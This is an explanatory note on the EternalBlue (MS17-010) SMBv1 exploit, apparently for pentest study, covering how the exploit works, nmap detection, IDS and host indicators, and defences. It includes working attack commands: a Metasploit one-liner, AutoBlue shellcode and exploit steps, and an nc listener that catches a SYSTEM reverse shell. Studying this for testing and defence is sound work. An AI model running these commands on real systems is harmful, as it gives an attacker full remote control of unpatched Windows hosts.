EternalBlue (MS17-010)

EternalBlue is the name of the exploit that abuses MS17-010, a family of memory-corruption vulnerabilities in Windows' SMBv1 service. It was developed by the NSA, leaked by Shadow Brokers in 2017 and, weeks later, turned into the propagation engine of WannaCry and NotPetya.

What breaks. SMBv1 mishandles certain requests (notably in the Trans2/SrvOs2FeaListToNt processing): an attacker sends crafted packets that trigger an out-of-bounds write in the kernel pool. With careful heap grooming, that corruption becomes kernel-mode code execution. That's why the resulting shell is directly NT AUTHORITY\SYSTEM: there's no user stage and no follow-on escalation.

No auth, no interaction. The attack only needs to reach port 445/TCP with SMBv1 enabled. It requires no credentials and no user clicking anything, which makes it devastating and "wormable" (able to spread by itself from machine to machine).

Detection. nmap itself gives a reliable verdict before firing anything:

nmap -p445 --script smb-vuln-ms17-010 <ip>

Exploitation without Metasploit. Metasploit has exploit/windows/smb/ms17_010_eternalblue, but certs like OSCP prefer a manual exploit such as AutoBlue-MS17-010: you build a shellcode (shell_prep.sh) and run the exploit matching the Windows version (eternalblue_exploit7.py for Windows 7). It may take several attempts until the heap grooming lines up.

# Metasploit
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <ip>; set LHOST <lhost>; run"
# manual (AutoBlue): prepare shellcode and fire the version-matching exploit
./shell_prep.sh                       # builds sc_x64.bin / sc_x86.bin (asks for LHOST/LPORT)
python3 eternalblue_exploit7.py <ip> sc_x64.bin
nc -nlvp <lport>                      # catch the SYSTEM shell

Affected systems. Windows XP/Vista/7, Server 2003/2008/2008 R2 and variants without the March 2017 patch. SMBv1 enabled + unpatched = vulnerable.

How to detect it. On the network it is very recognisable: EternalBlue uses SMBv1 (which in 2017+ almost nothing should still speak) and its exploit sends anomalous Trans2/SMB_COM_TRANSACTION2 requests. A classic IDS/IPS rule is the Suricata/Snort signature ET EXPLOIT ETERNALBLUE (a Trans2 SESSION_SETUP with the DoublePulsar pattern), and any SMBv1 traffic to 445 from a host that doesn't need it is already an indicator. On the host itself, the crash or kernel execution may leave an Event ID 7031/7034 (a service stopped unexpectedly) if grooming fails, and a SYSTEM shell with no prior login (no interactive 4624) followed by child processes under services.exe/spoolsv is the post-exploitation trace. The DoublePulsar backdoor answers a specific SMB ping that scanners detect.

Defence. Apply MS17-010, disable SMBv1 entirely (Microsoft has recommended this for years) and filter 445 at the perimeter. It's one of the few exploits where "patch and forget" suffices, yet it lives on because legacy systems remain untouched.